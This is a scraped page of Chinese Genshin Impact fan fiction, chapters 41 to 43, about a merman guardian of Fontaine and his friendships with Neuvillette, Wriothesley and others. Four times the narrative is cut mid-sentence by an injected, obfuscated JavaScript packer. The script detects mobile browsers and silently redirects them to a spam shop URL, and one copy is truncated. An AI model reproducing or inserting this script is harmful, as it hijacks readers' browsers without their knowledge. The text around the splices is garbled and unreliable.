如果她一直是个非酋就算了,可是在此之前,静原是个小欧皇啊!莱欧斯利卡池之后都角色基本没有歪的,就算歪也是提前出。导致怨念极其深重,转生了还记得。 这么一刺激,前生的记忆竟然诡异的记起来了不少? (你脑子没事吧?) 静原想哭。 那维莱特看着卡吕普迪斯一脸惊愕、不可置信,再到悲愤、委屈,转为疑惑、无语凝滞。脸跟那调色盘一样,唰唰的就变啊。 因为感受到静原紧张心态于是选择在今天旁观给眷属壮胆的那维莱特有点担心:“身体不舒服吗,卡吕普迪斯?” 回答他的是静原双手撑地上岸,坐在平台边咬牙切齿的声音:“很好,非常好,好得不能再好。” 那维莱特虽然不理解,但还是当真了。倒是莱欧斯利敏锐的感觉到了不同,蓝色眼睛里有些疑惑,却也没有多问,给对方倒了一杯温热的红茶:“听护士长说,卡吕普迪斯先生是她的叔叔?” “是的。希格雯在水下承蒙公爵关照了。”静原深呼吸,捧着红茶小啜一口,“所以……我们要聊些什么?” 莱欧斯利失笑:“什么都可以,卡吕普迪斯先生不用紧张。” 静原捂住自己的额头,眼神飘忽。 现在已经不紧张了,他回忆起前生的许多记忆,脑子有点涨涨的。 好在莱欧斯利是个幽默风趣的成年男性,他自身的魅力也在于此。总能找到合适的话题切入点,让静原感到自在。至于那维莱特……水龙对情绪的感知犹如雾里看花,他只知道眷属的负面情绪在逐渐消散,这就够了。 那维莱特看向莱欧斯利。 人类语言的魅力吗? 或许他和卡吕普迪斯永远都学不会吧……那维莱特看着杯中澄清的茶水,倒映出他的面容。大审判官面容平静,可唯有亲近之人才能从他眼中窥探一丝迷茫。 被莱欧斯利三言两语逗笑的静原感觉到了什么,扭头看向喝茶的那维莱特,本来想说些什么,嘴唇嗫嚅着,最终还是什么也没说。 说回正题,莱欧斯利约静原出来见面,主要是因为希格雯等美露莘向他传达了“卡吕普迪斯大人对他很好奇”这个信息。出于一些考虑,他主动出击约对方见面,没想到传说中的深海守护者竟然意外的不善言辞,紧张的情绪也未加以掩饰——莱欧斯利摸摸自己的脸,他知道自己长得不是很贤良,但是也没有到让人不自觉紧张的地步吧? 静原:我一看到你就想起当年垂涎你美色结果钱包出血的惨痛教训,这不是你的问题。 静原:受到刺激恢复记忆,这是可以说的吗?T▽T 但这理由莱欧斯利不会知道,他将疑问埋藏在心底, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671956|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择转移话题。 这次茶话会结束后,三人各怀心思。那维莱特回去上班,莱欧斯利重返水下,静原留在原地摸摸下巴,消化那些纷杂的记忆。 巨大的羞恼带来的冲击影响远超他的想象,他想起菲米尼的监护人是阿蕾奇诺,想起连环少女失踪案的主谋,想起林尼琳妮特的身份,想起莱欧斯利是如何当上监狱长,想起因为不能接受命运安排而选择遗忘的……命运。 他揉揉额角,不想理会这些事。好不容易放下心理负担,他不想再背负了。 过不了几年,旅行者就要苏醒了吧? 静原潜入深海,去查看地下深处的原始胎海。他能隔着很远的距离去感受,原始胎海每年都在缓慢上涨,努力靠近它的心这个进程是无法逆转的,静原也没有想过要自己全权处理。他知道吞天之鲸大概也许可能已经在偷偷饮用胎海水了,但他没法单枪匹马处理,只能等待那个关键节点的到来。 又多布置了一层洋流环绕警戒,静原这才离开幽暗的海底,去往浅水区活动。 海底的公爵坐在办公室里喝茶,享受难得的空闲时光。听到门外响起护士长和守卫交谈的声音,面不改色的放下茶杯,抽出一本文件翻看。 “公爵大人,我进来咯。” 有着红宝石一般眼瞳的希格雯端着包装精美的礼盒走上楼梯:“卡吕普迪斯大人送你礼物啦。” 莱欧斯利:“嚯,这可真是值得惊喜的事。我竟然也有此殊荣吗?” 他听护士长说过,人鱼叔叔一般只给那维莱特和他认得的孩子送礼物。难道自己也被划分到孩子范围内了? 莱欧斯利:这可真是—— 静原:这是对你(美色)的怜爱。 虽然那维莱特也很好看,但是静原前世今生的xp都很统一……咳咳。 希格雯把礼盒放在公爵大人的办公桌上,然后转到他身后去拿放在这里的一些药品货单,戴着小兔子形状白手套的不安分小手把一张美露莘贴纸,悄悄的,贴在了公爵大人的后腰位置:“要不要拆开看看?” 公爵大人的注意力全部放在人鱼赠礼这上面,怀着期待心情拆开鹅黄色的缎带,打开红色礼盒盖,里面是十二个色彩不一的小圆罐子,绘着鲜艳的植物工笔画。 “这是……茶叶?”他有点意外,拿了一小罐子在掌心观摩,“啊~是璃月的特产,这罐是乌龙茶。” 十二罐,每罐都是不同的口味。量不多,胜在精巧品质高。完美贴合了莱欧斯利想要尝尝其他口味的茶却担心一包拆开容易防潮的心理。 显然送礼者考虑到了水下堡垒无光且阴暗潮湿的环境特点。 “我喜欢。今天尝尝这个味道的怎么样?”莱欧斯利把喝了一半的红茶一饮而尽,“我还没有喝过这个口味的。” “公爵大人,茶水喝太多对身体也不好哦。您今天已经喝三杯了。” “没事的,我就泡两杯尝尝鲜。分给护士长一杯。” “那我去食堂做一些合适的点心?” “这个还是算了吧。” 41.海灯节一日 静原的日子开始变得悠闲起来了。 哄孩子(带美露莘和菲米尼等人玩),打扫卫生(清理海洋水体垃圾),当保安(把试图窥探海洋生物秘密的不安分因素赶出去)……这些是正经事。名为深海的大守护者,实际为枫丹著名水族保育员兼海洋保安队长的静原对这些接受良好。 毕竟也干了几百上千年。 这家伙总对人类朋友的短暂寿数耿耿于怀,但他其实有不少结识交好的人类,以及长生种朋友。所以真要谈寂寞的话,静原并不是严格意义上的寂寞…… 到沉玉谷和福勒依斯分享好吃的点心时,静原顺便听到了璃月海灯节将至,她想邀请静原和她一起在沉玉谷过海灯节的消息。 “这当然没问题啊。”静原甩了甩尾巴。他不怎么过枫丹大型节日,只是偶尔会和好奇的美露莘们感受一下节日氛围。璃月传统节日海灯节和枫丹历法中的节日完全不重合,所以他自然是一口答应下来。 福勒依斯难得跟他开口,静原不会不答应。 海灯节那天清早,静原就到遗珑埠着吃早茶了,抹了嘴,擦了脸,捎上打包好的小笼包豆浆就进山投喂赖床睡懒觉的福勒依斯。 “福勒依斯,你醒了吗?” 福勒依斯住在沉玉谷群山之中某座山的半山腰水潭里,因为认识了本地的仙人,在其指点下得以修缮了一番洞府——如今很有几分世外高人居住地的感觉了。 福勒依斯说,她本来是懒得修这些建筑的,不过考虑到朋友来做客,光秃秃的一个水潭看上去总有些简陋,不好…… 静原把早餐放到潭边的石桌上,喊福勒依斯起床:“笨蛋福勒依斯,快起来。不是说好了今天要大扫除的吗?” 海灯节期间,璃月大小村落城镇张灯结彩,外面全是逛街采购的人。静原和福勒依斯身份特殊,也上不了岸,亲身采购这项就算跳过了。他们约好今天把家里打扫干净,吃顿饭,晚上去遗珑埠附近看灯展和烟花。 计划很美好,然而懒惰的福勒依斯仍旧泡在水潭里,闻言只是哼哼唧唧的翻了个身:“早饭吃什么?” “豆浆和小笼包,你再不起来豆浆就冷了。”静原开始撸袖子干活,把洞府里的陈设摆件擦干净。福勒依斯打了个哈欠,晃晃悠悠起身变成人形上桌吃饭——这家伙以前不吃人类食物的,自从得到点悟化形为人尝过一次街头小吃后,她就再也没抗拒过人形态*。 她咬着吸管,看人鱼上下忙活的背影,半天点评一句:“你要是有双腿就好了。” “嗯?怎么说?”静原头也没回,擦拭手中的玉纹青瓷茶盏。这是月海亭相关部门送给在璃月久居的友好长生种年节礼物之一,成套的杯盏,工艺釉彩都精妙至极。 福勒依斯这家伙还在振振有词:“要是你有腿能走路的话,帮我做卫生岂不是更方便?” 卡吕普迪斯现在是用流水托着尾巴上到高处做卫生的。 静原:“……”人在极度无语的时候是会笑一下的。 静原:“你信不信我抽你。” “不信。”福勒依斯早就摸清楚卡吕普迪斯的本性,这家伙心异常的柔软,对亲近之人的底线一退再退 只是犯个懒又不是触犯天条,卡吕普迪斯才舍不得打她呢。 唠完磕,福勒依斯也开始干活。洞府里的尘埃洗净,水潭外花草打理枝条,就连树杈子都修理到位。通往山下的流水与石阶更不用提,洁净非常。 “等开春了,我去伊黎耶那里弄一些垂柳枝条插仟。枫丹的特有物种保护法近年宽松了一些,想想办法还是能弄出来一些的。”静原擦了擦脑门上热出来的汗,“总觉得蓝色的柳树好看。” “璃月怕是养不活。”福勒依斯有点动心,“枫丹是源水之地,水元素丰沛,才能养出那样的柳树和铃兰花。就像你之前尝试在枫丹养莲花一样,基本种不活的。” “有道理。不然怎么叫特产呢。” “昨天晚上我在酒楼订了一桌饭菜,这个点估摸快送上来了。” “订了什么?” “热锅子,还有一些小菜。侍者把锅子架起来倒上汤底就会走,你等一会再出来。”福勒依斯知道卡吕普迪斯不是很喜欢在陌生人类面前露面,他自己做好心理准备出来的情况另当别论。 静原听到这里也就知道这家伙平日里大概没少点外卖。 “话说你认识的那位锦鲤小仙呢?” “沉玉谷这几年水质变了,茶叶没有以前的香。浮锦她去找病根了,我也帮不上什么忙。唉……” 山道上,四位酒楼店员打扮的人类各自提着巨大的食盒行走。年纪小些的一直在打听这是要去哪?是不是要供奉山中仙人? 听到他的问话,前辈们的表情很怪异,说不上来的感觉。 “那客人是正正经经提前到店里订下这桌酒席的。少猜些有的没的。” “不过那位客人的蓝色眼睛和蓝色头发是不是跟前些年老人说的鲛人特征对上了?” “那是位女客。没听月海亭那边说吗?鲛人就是枫丹那边的人鱼,人家只是来旅游的。” “说不定就是咱们璃月的女性鲛人呢。谁说鲛人只能有一条?” “这你就想错了,还就真只有一条。好像上了什么,什么保护法之类的。” 其实是《枫丹特有濒危物种保护法》,专门给静原设了一科。多年前厄歌莉娅的话在枫丹得到了法律验证。 至于璃月人民为什么知道……还不是之前枫丹宣传映影闹的。 这也是静原来沉玉谷玩越来越不爱见人的理由之一。 这跟秦岭野生熊猫下山有什么区别…… 几人说话期间,半山腰都水潭也就到了。在潭边石桌上摆放好锅子,生炭煮上高汤锅底,食材和菜肴摆放好,几人就非常有颜色的离开了——次日锅子会由福勒依斯亲自下山送回酒楼。 静原听到外边没动静了,才从潭底浮上来准备吃饭。 “管饭的话,帮你做卫生也不是不行……” “请你吃一顿我的钱包要缩水一半,我是真穷……下次你请我。”福勒依斯可没有静原那样的积累,不是哪个水族都像静原这样有好几个海底洞窟那么多的财富的。 福勒依斯:他真的很有钱,真的。 吃完饭睡个午觉,等到傍晚天色渐暗,福勒依斯喊静原起来。 “卡吕普迪斯,你看山下。”从山腰处往下看,遗珑埠和轻策庄都亮起温暖的明黄赤红灯火,山下是热闹的人间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679309|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟火,山上倒是依旧寒冷萧条。 只是福勒依斯心里火热:“我们现在就可以出发了,到水畔活动,也能看到后面的烟花。” 她不知道自己在看人间烟火的时候,静原侧目看着她,看见了她水蓝色眼睛里的闪烁。如此明亮,让安静的纯水精灵也鲜活起来。 因此当他俩游到遗珑埠岸边的时候,静原说:“你喜欢凑热闹,上岸看看吧。” 福勒依斯诧异:“说什么呢,你又不能上岸,我一个人逛可没意思了。” “……也许以后就有机会吧……”静原的声音轻轻的,消失在冬夜的风中。 加班处理完公务,到水畔散心休息的那维莱特没想到今天还能看见眷属。 “卡吕普迪斯,你不是去璃月了吗?” 人鱼坐在枫丹廷区外的水畔,漂亮尾巴下就是白沙滩,海露花和久雨莲盛开,膨膨兽在他身侧安逸都打着盹。 这本该是静谧而安宁的场景,那维莱特却不知道为什么,品尝到了一丝落寞。 静原扭头看着他,笑了笑:“我不习惯在枫丹外过夜,再晚也会在天亮前回来。”远途出差例外。 “这倒也是。” “哦对了,这次没有给你带沉玉谷的水。福勒依斯那边的消息是沉玉谷出了问题,水土养出来的茶叶品质远不如以前。我就没敢取水带回来。”静原盘算了一下,“沫芒宫采购的茶叶数量应该不多。你们得得省着喝了。” 那维莱特对此表示:“沫芒宫消耗的咖啡更多,茶叶进口量小的话,受影响最大的应该是莱欧斯利和茶餐厅。嗯……芙宁娜女士最近也提到过搭配甜品的红茶不香了。” “也不知道要过多久才能好。我新收了一套茶具,还没有用过,有点可惜。” “会有机会的。” 然后就是一段沉默。那维莱特低眉看着眷属的发顶,感受到了养孩子的忧心。 “你在难过吗?” “没有。”静原回答得很快,“我就是在想,如果我有一天拥有双腿走路,我是说,看上去像个人类后,会被发配到梅洛彼得堡打螺丝吗?” 枫丹有一条极其古老的律法:禁止将任何其他物种转化为人类的行为。当年的希格雯就是因为获得了人类的外貌,切实的违反了这条律法才进入了梅洛彼得堡服刑*。 这给那维莱特干沉默了,好半天才说出一句:“如果只是暂时的,本质上你还属于人鱼……如果不是这样,我想是的。” “我有个疑问。纯水精灵可以变化为人类模样,这个行为触犯了律法吗?” “禁止将任何其他物种转化为人类*,意思就是转化行为造成的结果不可逆。希格雯当初主动拥有了人类的外貌后,没有改变回来。她确实是在进行将其他物种转化为人类这个行为,所以触犯了法律。但是纯水精灵的行为本质上是这个种群的特性之一,即拟态,又称水族幻形。这样的纯水精灵能够变回本来的模样,所以严格来说,并不违反枫丹律法。”那维莱特认真解释,“尊重种群特性,也是枫丹律法的一部分。” “那我刚刚说的情况……” “如果你还可以变回来的话,我想这也会归类于种群特性。” 静原心里拔凉拔凉的。 42.旅行者来啦 静原会问起变腿这件事并不是突发奇想。 他是真的看见了自己的那个未来——很稀奇,他头一次从旁观视角看到“自己”。 那个自己仍旧是高马尾白上衫,只是下半身从蓝色的大尾巴变为蓝色长裤包裹的双腿,没穿鞋袜,赤脚踩在水面上。 “自己”横持当年那维莱特锻造的那柄法杖,周身环绕着水流,表情相当冷漠,而对面就是金发的,持剑的旅行者。 完犊子了。 静原这次看见未来只是眼睛变红有一点点痛,但没有流血。因为他估摸着自己未来可能要与旅行者为敌——可是那又如何呢? 与旅行者为敌的未来……枫丹究竟发生了什么事?静原只是好奇这个。 究竟事怎样的局面,才会让静原有那样强势的攻击态度呢? 他不知道,他干脆把注意力放到自己的双腿上。比前世身高高太多了,看着就帅——不愧是我,他想。 再那个未来到达之前,应该是尾巴先变成腿吧? 什么时候尾巴会变成腿呢? 人鱼躺在海底柔软的藻林里,翘着尾巴摸了又摸,都有点记不清双脚走路的感觉。 嘿,你真的一点也不担心和旅行者打架吗? 心里有一个小小的人问他。 静原诚实摇头:我担心的是进监狱打螺丝的未来。我以前都是遵纪守法好公民,没有任何不良案底。要是进局子了,总感觉对不起爸妈对不起社会对不起全人类…… 他以前很乖的。 小小的人类点了点头,有道理。但如果腿能变回来,你是不是就该担心和旅行者打架的事了? 静原依旧摇头:我不害怕打架,也不畏惧和旅行者为敌。哪怕他是这个世界的“主角”,我也不害怕。 静原对小小的自己说:我更担心的是和他敌对的原因。如果只是私人恩怨倒还好,要是牵扯到枫丹还有那维莱特他们……不过也不太可能。 “到底是为什么呢?” “到底是为什么呢?”菲米尼听到林尼这样询问,“卡吕普迪斯先生最近的兴致都不是很高啊。” 林尼这话并非空穴来风,因为和妹妹琳妮特学习魔术的缘故,他经常练习魔术花样并创新,而菲米尼和一周见几次面的卡吕普迪斯先生就是最好的观众和点评人。以前每次表演都会得到卡吕普迪斯先生的温柔注视,这些天怎么没感觉到那种温暖的欣赏目光?而且对方看着他们玩耍活动时,眼神总是有些说不出来的感觉…… 林尼挠了挠头,妹妹琳妮特虽然看不出什么表情来,但直勾勾注视着菲米尼的紫色眼睛显然出卖了她。 琳妮特:好奇.jpg 而菲米尼虽然感觉到了有什么不对劲,但也说不出来。经过林尼提醒后倒是明白了点什么,小朋友低头思考片刻:“要不,我找卡吕普迪斯大人问问?” 林尼惊讶:“这种事要当面问吗?” 林尼震惊:“菲米尼,我以为你会说我们一起调查吧。” 林尼欣慰:“看来你和卡吕普迪斯先生的感情真的很好啊。” 菲米尼闹了个大红脸:“因为,卡吕普迪斯大人基本上问什么都会回答……” 琳妮特说:“好了,笨蛋哥哥。对待卡吕普迪斯先生的话,我们都表现得诚实一些会更好。” 卡吕普迪斯先生欣赏坦然面对内心的人,这是他们与其相处后的共识。 想问就问,好奇并非需要遮掩的事——卡吕普迪斯先生大概会这样说。 果然。 “我吗?最近确实有让我很烦恼的事。”人鱼先生吃着琳妮特带来野餐的苹果派,“前阵子做了个噩梦,这些天都睡不好。” “人鱼,也会做梦吗?”菲米尼的关注点向来清奇,相比哥哥林尼的高情商以及琳妮特的沉默,面对信赖的人鱼朋友时,菲米尼总不自觉的问一些怪问题。 静原对小朋友的问题接受良好:“不仅会做梦,被吓到了还会掉眼泪。这么说的话,我这个年龄在长生种里面应该也算年轻吧……” 他开始摸下巴思考这个严肃的问题了。 “我还没有见过你哭的样子。”菲米尼仰头说。看起来温柔坚韧的人鱼先生,也会哭吗? 林尼:有点怪啊弟弟。 林尼打圆场:“卡吕普迪斯先生做了什么样的噩梦,可以讲讲吗?也许说出来就会好一点呢?” “嗯……梦见了我在跟人打架,一个我从来没想过会跟他为敌的人。我就是好奇,梦里的我是为什么会和他打架呢?”静原叹气,“牵扯到自己,好奇心也会变得严重啊。” 他配合红茶吃完那一块苹果派,又开始啃曲奇饼干。 琳妮特喝茶的样子很优雅,像是一位真正的小淑女:“因为梦中的事烦忧,就像笨蛋哥哥会烦恼表演时的领结颜色选红还是选绿好一样。” 梦中之事不会成真,而林尼的领结选红选绿都没有区别。 静原:“出现了,来自琳妮特的精准吐槽。” 菲米尼抱着佩伊缓缓开口:“既然这样的话,为什么不去找那个人呢?你们一起思考到底是什么会让你们敌对。” 静原缓缓:“啊……” 静原轻笑:“他可能也不会知道呢。” 因为我们还没有见过面呀。 今天是个好日子。 天气晴朗,万里无云。天空蔚蓝的就像静原身上最薄的鳞片一样,巡轨船自空中水道行过,静原就在下方引领着今年新生的小鲸鱼们来浅海区玩耍嬉戏。 在阳光最好的时候扑腾出海,浪花四溅,欧鸟鸣叫,这群小生命吟唱着悠长的曲调落回海中,下潜,然后再扑腾出来,如此反复。 港口听到稚嫩鲸鸣的枫丹人都忍不住会心一笑,孩子们趴在围栏边往下忘,能观察到这些小家伙尚且粉白的皮肤,偶尔能看见一闪而过的蓝色鱼尾巴。 “妈妈,妈妈,它们在玩什么呀。” “卡吕普迪斯大人在带它们晒太阳呢。你也是,多晒晒太阳,骨骼才能坚硬,身体才会强壮。” “哦……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715783|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这样晴朗的天气可不多见啊……”有老绅士等候巡轨船的时候买了份报纸翻看,听见母女俩的动静微笑着感叹,“雨季也快到了呢。” “雨季?”坐电梯上来的派蒙正好听见老人的自言自语,看向了身边的林尼,“枫丹雨下得很多吗?” “雨季降水量自然丰沛。”大魔术师林尼看向新认识的朋友,“派蒙不喜欢下雨天吗?” 白色小飞行物派蒙挠挠头:“也不是不喜欢啦,只是之前在须弥雨天丛林冒险的时候浑身黏糊糊湿答答的……我还是更喜欢晴朗一些的天气。” 金发旅行者赞同的点点头:“竟然有点怀念以前头顶长蘑菇的日子了。” 派蒙:“虽然须弥蘑菇很多,但并没有这种事吧……” “别担心,枫丹的雨季并不恐怖。雨水带来生命与收获……”林尼微笑,“现在还是晴朗的好天气呢,享受这样的阳光吧。” 坐上巡轨船的时候,之前认识的枫丹蒸汽鸟报记者夏洛蒂也匆匆赶上,几人打了个照面,派蒙问这位朋友急匆匆的要干什么。 夏洛蒂举着自己的留影机嘿嘿一笑:“你们还不知道吧,关于枫丹的地域特色,枫丹海的人鱼,我们的大守护者卡吕普迪斯大人。我很想找对方做一期专访,只是一直都找不到他的踪迹。听说枫丹廷区海域出现了卡吕普迪斯大人的消息,就火急火燎的从海露港下面上来了。” 夏洛蒂握拳:“这次一定要赶上,我有预感,如果成功约上一期访谈,主编一定会夸我的!” 林尼忍不住开口:“真的没问题吗?夏洛蒂小姐,卡吕普迪斯大人的速度可是很快的。” “别担心别担心,我知道他今天照顾完小鲸鱼们之后会去哪里……”夏洛蒂满脸都是幸福的笑容,这让琳妮特默默咽下了话语。 算了,如果夏洛蒂小姐能找到卡吕普迪斯先生的话,也是她实力的一部分。 派蒙摸摸下巴:“枫丹的人鱼……我听璃月港的大家提到过。他的名字是卡吕普迪斯吗?为什么还是大守护者?难道人鱼在枫丹是很厉害的大人物吗?” 旅行者有点好奇人鱼的样子。 琳妮特说:“卡吕普迪斯大人正式的职位是枫丹海的大守护者,在百年前一直庇护着枫丹海上船只人类的平安通行,做了很多贡献。哪怕如今的工作更多偏向于文娱宣传方向,大家也依旧尊敬他。” 夏洛蒂点点头:“听老人们说,枫丹以前的雨季可没有现在这样平和,海上的风浪急促汹涌,在科学技术没有获得巨大发展的过去,没有卡吕普迪斯大人的海洋是相当危险的。” 林尼用力点头,显然十分赞同。 派蒙惊叹连连:“原来如此。”难怪刚刚的老人会感叹枫丹的雨季。 旅行者:“更好奇了。” 派蒙:“你这家伙不要突然发言啊,吓我一跳。” 旅行者耸肩。 派蒙:“不过,大家都这样夸赞他,弄得我也超级超级好奇……” 人鱼,到底是什么样子的呢? 43.案件 静原没想到真的有记者敢来蹲守他。 “卡吕普迪斯大人,我是蒸汽鸟报的记者夏洛蒂。这是我的名片,可以请您做一期访谈吗?” 欧庇克莱歌剧院后面的长台是那维莱特与静原经常见面的地方,在枫丹廷执勤的美露莘们有时候也会来到这里领叔叔带给她们的礼物。因为种种原因,人们很少来这一片散步,他们通常在歌剧院前的露景泉广场游玩。所以歌剧院后的地方成为了这些非人类的小型聚集地。不定时刷新一下静原这个npc。 这是夏洛蒂从一位小美露莘口中听到的,小美露莘也是无心之语,哪里知道记者的新闻嗅觉如此敏锐呢。 于是静原就看到这个粉头发的年轻记者克制的站在不远处,一脸期冀。 如果是别的要求就算了,可惜是访谈……静原摇摇头:“抱歉,我并不愿意对大众分享我的隐私。” “蒸汽鸟报社很有职业道德操守,我们不会暴露采访人过于隐私的事。”夏洛蒂连连摆手,诚恳道,“卡吕普迪斯大人太过神秘了,大家都对真实的您非常好奇。” 真实的卡吕普迪斯大人是个挑食批,身板脆,一会伤春悲秋一会钝感力十足,活得像个神经病——这话能说吗? 静原只是摇头,然后扭头潜入水中。留下夏洛蒂为自己的冒失懊恼:“果然是这样啊,还是太过冒犯了。” 今天静原来这里本来是想跟提前布置道具的林尼兄妹交代点事的——林尼和琳妮特的魔术组合将在欧庇克莱歌剧院出演,这是一次绝佳的机会,从此以后他们的名气会上到一个同行难以逾越的高度,真真正正的打出名号来,对于任何一个有追求的人来说,这次演出都是必须珍重对待的。静原作为长辈,并不希望出什么岔子。 不过自己居然遇到了记者,想来再跟林尼他们见面会对他们产生不好的影响——疯狂的记者狗仔偷拍无所不用其极,编出来的报道也让人烦恼。静原好歹算枫丹公务员,这些小报不敢编排得太过分。但是魔术师就不一样了,林尼和琳妮特曾经因为耳朵和尾巴,以及社会关系被编排苦恼了很久,静原看在眼里,早就决定对记者这一群体敬而远之。 所以夏洛蒂没想到不是她的问题,而是同行严重拖后腿败坏职业形象和路人缘——静原面对孩子总是相当温和宽厚的,夏洛蒂在他眼里还是小女孩呢。如果没有那些烂事,小女孩的请求他一般不会拒绝。 对其他干坏事的成年人……对不起,静原是一条双标鱼。 收回思绪,静原叹了口气。他本来是想告诉林尼他们这几天小心行事,别出海沾水,以及自己会消失一段时间的事。不过见不到也没事,他们几个向来聪明,应该不会出事。 枫丹海年年上涨,水体里的原始胎海水浓度也在日益提升。首当其冲的就是梅洛彼得堡附近,那里的鲸群最先发现水的味道变了,静原一开始还担心它们会出啥事,结果检查了半天吃好喝好啥也没问题,就放心了。 看来只对枫丹人起效果啊。 静原苦恼,他最初布下的封印已经松动,深海之下的洋流胎海水浓度极高,一旦冲出去,后果不可估量。幸好静原现在还压制得住,只是托美露莘转告莱欧斯利,一定要看管好犯人,最近的海底很危险。 莱欧斯利回信表示他明白,并且建议他告诉那维莱特和水神大人。 静原叹气,那维莱特还没有拿回古龙大权,顶多就是比他多压制一会,芙宁娜更不用说,她背负的秘密太沉重,以后的公堂对峙跟公开处刑一样,静原只希望拖延久一些。 但他还是选择在某一天见那维莱特,告诉他原始胎海的躁动。 谁知道那维莱特也跟他分享了一件事——林尼他们表演魔术的时候,歌剧院内有人被谋杀身亡。为了帮林尼兄妹证明清白洗去罪名,异邦而来的旅行者也出席了公堂进行对簿。 刚处理完歌剧院谋杀案的那维莱特也发现了芙宁娜女士的不靠谱和不对劲,还没多想,就听到小美露莘的通传,卡吕普迪斯要见自己。然后又听到原始胎海的情况,只觉得前途渺茫,一片黑暗。 “这样下去可不行……”他听到眷属如此说道,“我得进入胎海查看,那维莱特,我想请假——” “不行。”那维莱特想也没想就一口驳回,“我等彻底回归原始胎海,只能是死亡这一种方式。卡吕普迪斯,虽然你诞生自那片海,但也不要太过靠近祂。” “……不行啊,那维莱特。我得把胎海水拦在深海,阻止它们继续上涨。”静原摇头,“你也听说过那个预言吧。你我都清楚,那不止是预言,更是一种审判。” 那维莱特理性分析:“我理解你想要保护人类的心情,可是我不希望你以身涉险。我现在的力量还不足以支撑你无惧一切来自水的危险。” 静原笑起来:“自信点,你可是我们的王。只要你还站在这里,我什么都不怕。” “所以,让我去吧。只是将浓度高的海水压制在深海,不会很危险的。所以还是得跟你请假,浅海区的巡逻可以交给格蕾丝蒂和托皮娅她们……我大概得等好一段时间才能来见你了。” 话都说到这份上了,那维莱特只得放行。毕竟真要细算的话,他从未真正拒绝过卡吕普迪斯任何一项请求。 满怀心事的回到沫芒宫处理公文,他看见了一脸踟蹰的芙宁娜扒着门,露出一颗小脑袋。 “有什么事吗,芙宁娜女士。”是有新的歌剧上映想去看,还是想吃下午茶和小蛋糕? “晚上好,那维莱特。我就是来问问你,最近有没有见过卡吕普迪斯。”芙宁娜一开始还有点小尴尬,很快又理直气壮起来,“我找他有点事。” “……很遗憾。卡吕普迪斯下午才找我请假,我也准许了。有关海中的事物你可以询问格蕾丝蒂和托皮娅,她们一直跟随卡吕普迪斯学习。” 芙宁娜有点失望,随便找了个借口就离开了。显然不觉得小美露莘能知道她想问的问题的答案。 事实也确实如此。深海的密辛通常不会告诉美露莘,她们是厄里那斯的孩子,龙蜥的变种,虽然也能在水下生活,可深海不是普通生物能抵达的地方,被天空掩埋的秘密也不适合被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728035|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆地上的生灵知晓太多。 这是对她们的一种保护。 芙宁娜明白这个道理。只是难免有些失望。 卡吕普迪斯果然知道很多,如果他也是计划中的一环,如果他也知晓枫丹的秘密,我是不是,就可以轻松一点了? 水神大人怀揣着不能告诉外人的重重心事,低头借着整理帽檐的功夫,强行压下汹涌的负面情绪。 还要多久…… 深海的温度极低,不比至冬极寒之地好到哪去。 阳光照射不到的海洋深处,冰冷和黑暗是世界的底色。深海的高压让这里的生物多半都是进化出纤薄的皮肤与骨骼,支撑身体的脊柱中空,体内的含水量也比普通鱼类更高。 而静原的躯体可以完美适应如此恐怖的深海高压,因为他的全身骨骼都与真正的人类有显著区别,中空且坚硬,皮肤薄,近年因为吃得好,耐寒能力也是肉眼可见的增长。所以他一路往下潜,不知过了多久,直到眼前一片黑暗。 耳边都是静悄悄的,之前还能听见海浪的波动,如今真是一派寂静。 可静原一点也不害怕。因为这里也是他的家——就像成年人类不会害怕自己那间密闭的无光小屋。 稍微等待了一会,就有长得怪模怪样的发光小鱼汇聚成群来为他领路,那是海对祂孩子的指引。 深海的洋流温度越来越低,直到连被枫丹海保护的静原都无法忍受,尾巴僵硬得像是从冰柜拿出来的冻鱼一般,他才从冥冥之中感受到了什么。 在那之后,他伸出手,黑暗之中仿佛有什么生物张开了嘴,巨大的吸力导致旋流涡转。 